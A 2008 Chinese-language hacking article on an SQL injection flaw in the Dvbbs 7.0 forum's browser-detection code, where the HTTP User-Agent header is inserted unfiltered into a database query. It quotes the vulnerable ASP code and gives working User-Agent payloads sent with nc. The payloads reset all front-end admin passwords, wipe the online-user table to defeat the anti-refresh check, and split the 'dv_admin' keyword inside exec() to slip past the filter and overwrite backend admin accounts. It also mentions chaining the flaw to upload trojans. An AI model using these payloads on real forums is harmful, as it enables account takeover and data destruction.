將dvbbs送進地獄
發(fā)布時間:2008-06-30 閱讀數: 次 來源:網樂原科技
一段時間動網論壇的頭像上傳的漏洞給各大使用dvbbs論壇的網站帶來難以愈合的創(chuàng)傷,這個漏洞甚至危及到了sp2的版本。為了解決這個問題,沙灘小子可能也耗盡了心血吧。但是動網論壇至此就真的安全了嗎?回答是否定的,這不是在htt_user_agent變量上面有出現了漏洞嗎,欲知詳情,請聽我慢慢道來。
漏洞文件:inc\dv_clsmain.asp
測試環(huán)境: dvbbs7.0.0+mssql
dvbbs7.0.0+sp1+mssql
dvbbs7.0.0+sp2+mssql
服務器os:windows 2000 advanced server
發(fā)現漏洞
n.e.v.e.r曾經發(fā)布了dvbbs6.x中關于http_user_agent變量過濾不嚴所造成的注入漏洞,我開始的時候以為這次在dvbbs7.0應該過濾了吧。但是在看過代碼以后證明我的想法是錯誤的,只要經過巧妙的構造就可以實現對使用mssql數據庫的論壇實現注入。還是讓我們先來看一下出現漏洞的代碼吧。
dvbbs7.0.0&dvbbs7.0.0+sp1中的inc\dv_clsmain.asp文件第1745-1755行為:
agent=request.servervariables("http_user_agent")
agent=split(agent,";")
if instr(agent(1),"msie")>0 then
browser="microsoft internet explorer "
version=trim(left(replace(agent(1),"msie",""),6))
elseif instr(agent(4),"netscape")>0 then
browser="netscape "
dim tmpstr
tmpstr=split(agent(4),"/")
version=tmpstr(ubound(tmpstr))
end if
dvbbs7.0.0+sp2中的inc\dv_clsmain.asp文件第1919-1938行為:
agent=request.servervariables("http_user_agent")
'agent="opera/7.23 (x11; linux i686; u) [en]"
if left(agent,7) ="mozilla" then '有此標識為瀏覽器
agent=split(agent,";")
if instr(agent(1),"msie")>0 then
browser="microsoft internet explorer "
version=trim(left(replace(agent(1),"msie",""),6))
elseif instr(agent(4),"netscape")>0 then
browser="netscape "
tmpstr=split(agent(4),"/")
version=tmpstr(ubound(tmpstr))
elseif instr(agent(4),"rv:")>0 then
browser="mozilla "
tmpstr=split(agent(4),":")
version=tmpstr(ubound(tmpstr))
if instr(version,")") > 0 then
tmpstr=split(version,")")
version=tmpstr(0)
end if
end if
這兩段代碼是在class cls_browser的一部分用來判斷用戶的瀏覽器類型及版本的。然而在這兩段代碼中都存在相同的問題,即當agent(4)的值中包含netscape時便不會經過任何過濾,直接將字符串的值返回給version變量,但是這能有什么作用呢?接著再往下看。
在這個文件中的useractiveonline函數中(三個版本的內容相同)的部分代碼為:
dim statuserid
statuserid = session(cachename & "userid")(0)
sql = "select id,boardid from [dv_online] where id = " & ccur(statuserid)
set rs = execute(sql)
if rs.eof and rs.bof then
if cint(forum_setting(36)) = 0 then
actcome = ""
else
actcome = address(uip)
end if
set browsertype=new cls_browser
sql = "insert into [dv_online](id,username,userclass,ip,startime,lastimebk,boardid,browser,stats,usergroupid,actcome,userhidden) values (" & statuserid & ",'客人','客人','" & usertrueip & "'," & sqlnowstring & "," & sqlnowstring & "," & boardid & ",'" & browsertype.platform&"|"&browsertype.browser&browsertype.version & "','" & replace(left(stats,250),"'","") & "',7,'" & actcome & "'," & userhidden & ")"
'更新緩存總在線數據
myboardonline.forum_online=myboardonline.forum_online+1
name="forum_online"
value=myboardonline.forum_online
set browsertype=nothing
else
sql = "update [dv_online] set lastimebk = " & sqlnowstring & ",boardid = " & boardid & ",stats = '" & replace(stats,"'","") & "' where id = " & ccur(statuserid)
end if
rs.close
set rs = nothing
execute(sql)
很顯然從browsertype取得version的值以后也沒有經過過濾就直接插入了sql變量的語句中調用execute函數執(zhí)行數據庫查詢。在execute函數中有關語句過濾的代碼為:
if instr(lcase(command),"dv_admin")>0 and left(scriptname,6)<> "admin_" then
response.write savesqllog(command,"")'翻譯成英文
command=replace(lcase(command),"dv_admin","dv<i>"&chr(95)&"</i>admin")
end if
看出來了吧,只要我們的語句中沒有dv_admin關鍵字就可以順利通過了。
雖然已經把思路打通了,但是由于動網論壇中的防刷新機制的存在給我們的漏洞利用帶來的很大的困難。但還是有辦法解決的,還是一步一步來看我是怎么測試利用這個漏洞的吧。
小試牛刀
以sp1中的dv_clsmain.asp文件為例,在activeonline函數中第687行的
if datediff("s",reflashpagelasttime,now()) < 120 and lastvisiboardid = boardid then exit sub
是防刷新機制的關鍵語句,在初步測試的時候為了避免受到它的影響就先把它給注釋掉。然后用wse對訪問index.asp時的mime數據抓包,得到的數據為:
get /index.asp http/1.1
accept: */*
accept-language: zh-cn
accept-encoding: gzip, deflate
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.2; .net clr 1.1.4322)
host: www.somesite.com
connection: keep-alive
cookie: dnetpubtemp=statuserid=2110913640; aspsessionidcqcbbscq=dmlbhjaajfofclflencdepgg
其中的user-agent的值便對應著代碼中的request.servervariables("http_user_agent")的值,因此只要將user-agent構造為sql語句的話便可以實現對數據庫的任意修改。
由于execute函數中過濾了dv_admin關鍵字,所以我們只好先修改前臺管理員的密碼了。將user-agent的值修改為:
mozilla/4.0 (compatible;m;m;m;','hacker',7,'',2) update dv_user set userpassword='123' where usergroupid=1—netscape
然后用nc發(fā)送,nc運行結束以后再去看數據庫的時候發(fā)現所有的前臺管理員密碼已經被修改成123,與此同時在dv_online表中也記錄一條id=2110913640的數據,正如我們所想的,它的browser=’unknown|netscape’, stats=’hacker’。由此可見,通過構造user-agent的值進行注入是完全可以實現的。
防刷新問題的解決
剛才為了測試方便把防刷新的關鍵語句給注釋了,那現在就把它給改回來。這樣的話我們就面臨著非常棘手的問題,由于我們的訪問程序會在dv_online表中記錄相應的訪問數據,而只要這條數據存在的話就不會執(zhí)行我們要跳轉到可以注入的語句。因此只好等20分鐘之后由于其他的用戶訪問而調用myboardonline.onlinequery過程將超時用戶訪問記錄(包括我們剛才的訪問記錄)刪除之后才可以再次進行欺騙注入。否則的話只會讓我們的訪問最后時間更新為當前值,而對其它數據沒有任何影響。
每兩次欺騙注入之間的時間間隔要20分鐘!那么如果要向數據庫寫入木馬的話還不要等到頭發(fā)也白了。您也許會說,我是撥號上網的,只要重新撥號不就行了嗎?當然可以了,不過即使這樣對于我們來說是一件很痛苦的事。為了解決這個棘手的問題我們可以在修改數據庫的同時將dv_online表中的所有記錄全部刪除,這樣不就可以進行連續(xù)注入了嗎。調整以后的user-agent的值為:
mozilla/4.0 (compatible;m;m;m;','hacker',7,'',2) update dv_user set userpassword='123' where usergroupid=1 delete from dv_online—netscape
不信你測試一下,不管你在注入前數據庫內有多少的用戶訪問記錄,只要能夠成功的欺騙成功不僅會將所有的前臺管理員密碼進行修改,而且還會將所有的用戶訪問記錄刪除得干干凈凈。
哈哈,現在我們不就可以隨心所欲了嗎,只要你能想到的,只要數據庫用戶有足夠的權限。等一等,如果用戶沒有足夠的權限怎么辦,就是修改了前臺管理員的密碼又能怎么樣。難道對后臺管理員就真的束手無策了嗎?不要急,請接著看。
突破execute過濾,向后臺進軍
由于在execute函數中過濾了dv_admin關鍵字,因此在使用sql查詢語句的時候要避免它的出現。但是我們也不能就此放棄對dv_admin表的注入,否則的話不就前功盡棄了嘛。后來在《sql injection white paper》的啟發(fā)下,我使用exec函數成功地解決了這個問題。如果將user-agent的值修改為:
mozilla/4.0 (compatible;m;m;m;','hacker',7,'',2) declare @a nvarchar(255) select @a='update dv_'+'admin set username=''firstsee'',password=''123''' exec(@a)—netscape
就可以成功的把dv_admin中的所有記錄的username的值修改為firstsee,而password的值修改為123。在這個構造值中把dv_admin關鍵字進行了拆分,然后通過字符串的連接功能又組合成了一個完整的查詢語句,只要在exec函數中執(zhí)行連接后的字符串就可以實現與直接查詢相同的效果。
由于在mssql數據庫中的exec函數的使用也受到一定的限制,因此也只有具備了這一權限的情況下才可以使用欺騙注入的方法進行后臺管理員賬號和密碼的修改。
總結
您也許已經想到了,如果把前臺管理員密碼修改的語句與后臺的修改語句放在一起,只需要進行一次注入就可以了,這樣不就不用再去管什么防刷新了嗎?但是經過我的測試后發(fā)現,如果user-agent的值的長度過大就會失敗。而且exec函數的使用也受到一定的限制,因此為了保證最大的成功率,將兩句分開還是最佳的選擇,即使后臺管理員賬號修改失敗,前臺管理員密碼的修改也不會受到任何影響。
現在的動網論壇通過修改后臺管理攝制的辦法已經不能夠再上傳木馬了,因此即使成功的得到了管理權限對服務企也只是望而興嘆,但如果能夠結合我在黑防第6起上面發(fā)表的《把dvbbs拉下馬》文章中的accesstopic.asp漏洞在具備了足夠的權限下還是可以上傳木馬的。
由于這個漏洞涉及到的腳本內容比較多,利用起來也很費勁,所以我寫了一個exploit,具體的使用方法見詳細說明。
這篇文章由于時間倉促,難免出現紕漏。還望大家能夠不吝指出。